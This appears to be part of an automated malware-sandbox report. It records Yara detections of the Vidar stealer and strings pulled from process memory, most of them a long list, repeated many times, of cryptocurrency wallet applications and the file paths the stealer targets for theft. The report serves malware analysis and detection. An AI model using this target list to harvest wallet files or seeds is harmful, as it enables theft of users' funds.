Source: Yara match	File source: 00000024.00000003.3428194939.00000000052B0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000024.00000002.4260064567.00000000015FB000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 9f6ea82062.exe PID: 932, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 9f6ea82062.exe PID: 3940, type: MEMORYSTR

Yara detected Vidar stealer

Source: Yara match

File source: Process Memory Space: 9f6ea82062.exe PID: 932, type: MEMORYSTR

Found many strings related to Crypto-Wallets (likely being stolen)

Source: EUCyhuW.exe, 00000009.00000003.3093948172.0000000000EFD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \??\C:\Users\user\AppData\Roaming\Electrum-LTC\wallets
Source: EUCyhuW.exe, 00000009.00000003.2887885665.0000000000E97000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Wallets/ElectronCash
Source: 9f6ea82062.exe, 00000020.00000002.3942624190.0000000000AD4000.00000040.00000001.01000000.00000012.sdmp	String found in binary or memory: \|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: EUCyhuW.exe, 00000009.00000003.2887885665.0000000000E97000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: window-state.json
Source: EUCyhuW.exe, 00000009.00000003.2887885665.0000000000E97000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Wallets/JAXX New Version
Source: 9f6ea82062.exe, 00000020.00000002.3942624190.0000000000AD4000.00000040.00000001.01000000.00000012.sdmp	String found in binary or memory: \|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: EUCyhuW.exe, 00000009.00000003.2887885665.0000000000E97000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %appdata%\Exodus\exodus.wallet
Source: 9f6ea82062.exe, 00000020.00000002.3942624190.0000000000AD4000.00000040.00000001.01000000.00000012.sdmp	String found in binary or memory: \|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: 9f6ea82062.exe, 00000020.00000002.3942624190.0000000000AD4000.00000040.00000001.01000000.00000012.sdmp	String found in binary or memory: \|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: 9f6ea82062.exe, 00000020.00000002.3942624190.0000000000AD4000.00000040.00000001.01000000.00000012.sdmp	String found in binary or memory: \|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: 9f6ea82062.exe, 00000020.00000002.3942624190.0000000000AD4000.00000040.00000001.01000000.00000012.sdmp	String found in binary or memory: \|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: 9f6ea82062.exe, 00000020.00000002.3942624190.0000000000AD4000.00000040.00000001.01000000.00000012.sdmp	String found in binary or memory: \|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: EUCyhuW.exe, 00000009.00000003.2887885665.0000000000E97000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Wallets/Exodus
Source: EUCyhuW.exe, 00000009.00000003.2887885665.0000000000E97000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %appdata%\Ethereum
Source: 9f6ea82062.exe, 00000020.00000002.3942624190.0000000000AD4000.00000040.00000001.01000000.00000012.sdmp	String found in binary or memory: \|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: EUCyhuW.exe, 00000009.00000003.2887885665.0000000000E8B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %localappdata%\Coinomi\Coinomi\wallets
Source: 9f6ea82062.exe, 00000020.00000002.3942624190.0000000000AD4000.00000040.00000001.01000000.00000012.sdmp	String found in binary or memory: \|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: 9f6ea82062.exe, 00000020.00000002.3942624190.0000000000AD4000.00000040.00000001.01000000.00000012.sdmp	String found in binary or memory: \|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: 9f6ea82062.exe, 00000020.00000002.3942624190.0000000000AD4000.00000040.00000001.01000000.00000012.sdmp	String found in binary or memory: \|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia 